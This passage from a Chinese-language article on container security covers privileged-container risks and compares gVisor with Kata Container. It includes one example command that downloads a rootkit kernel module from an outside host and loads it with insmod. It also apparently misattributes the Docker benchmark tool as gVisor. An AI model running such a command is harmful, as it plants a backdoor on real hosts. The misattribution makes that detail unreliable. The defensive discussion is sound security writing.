@云原生之容器安全实践( 四 )

特权容器或者以root权限运行容器；
不合理的Capability配置（权限过大的Capability）。

面对特权容器，在容器内简单地执行一下命令，就可以轻松地在宿主机上留下后门：
$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko目前在美团内部，我们已经有效地收敛了特权容器问题。
这部分业界已经给出了最佳实践，从宿主机配置、Dockerd配置、容器镜像、Dockerfile、容器运行时等方面保障了安全，更多细节请参考Benchmark/Docker 。同时Docker官方已经将其实现成自动化工具（gVisor）。
安全实践
为解决上述部分所阐述的容器逃逸问题，下文将重点从隔离（安全容器）与加固（安全内核）两个角度来进行讨论。
安全容器
安全容器的技术本质就是隔离。 gVisor和Kata Container是比较具有代表性的实现方式，目前学术界也在探索基于Intel SGX的安全容器。
简单地说， gVisor是在用户态和内核态之间抽象出一层，封装成API ，有点像user-mode kernel ，以此实现隔离。 Kata Container采用了轻量级的虚拟机隔离，与传统的VM比较类似，但是它实现了无缝集成当前的Kubernetes加Docker架构。我们接着来看gVisor与Kata Container的异同。
Case 1: gVisor
gVisor是用Golang编写的用户态内核，或者说是沙箱技术，它主要实现了大部分的system call 。它运行在应用程序和内核之间，为它们提供隔离。 gVisor被使用在Google云计算平台的App Engine、Cloud Functions和Cloud ML中。 gVisor运行时，是由多个沙箱组成，这些沙箱进程共同覆盖了一个或多个容器。通过拦截从应用程序到主机内核的所有系统调用，并使用用户空间中的Sentry处理它们， gVisor充当guest kernel的角色，且无需通过虚拟化硬件转换，可以将它看做vmm与guest kernel的集合，或是seccomp的增强版。

本文插图
图5 gVisor架构图
Case 2: Kata Container
Kata Container的Container Runtime是用hypervisor，然后用hardware virtualization实现，如同虚拟机。所以每一个像这样的Kata Container的Pod ，都是一个轻量级虚拟机，它拥有完整的Linux内核。所以Kata Container与VM一样能提供强隔离性，但由于它的优化和性能设计，同时也拥有与容器相媲美的敏捷性。

本文插图
图6 Kata Container 架构图（图片来自Katacontainers.io）
Kata Container在主机上有一个kata-runtime来启动和配置新容器。对于Kata VM中的每个容器，主机上都有相应的Kata Shim 。 Kata Shim接收来自客户端的API请求（例如Docker或kubectl），并通过VSock将请求转发给Kata VM内的代理。 Kata容器进一步优化以减少VM启动时间。使用QEMU的轻量级版本NEMU ，删除了约80％的设备和包。 VM-Templating创建运行Kata VM实例的克隆，并与其他新创建的Kata VM共享，这样减少了启动时间和Guest VM内存消耗。 Hotplug功能允许VM使用最少的资源（例如CPU、内存、virtio块）进行引导，并在以后请求时添加其他资源。
gVisor VS Kata Container

本文插图
在两者之间，笔者更愿选择gVisor ，因为gVisor设计上比Kata Container更加的“轻”量级，但gVisor的性能问题始终是一道暂时无法逾越的“天堑” 。综合二者的优劣， Kata Container目前更适合企业内部。总体而言，安全容器技术还需做诸多探索，以解决不同企业内部基础架构上面临的各种挑战。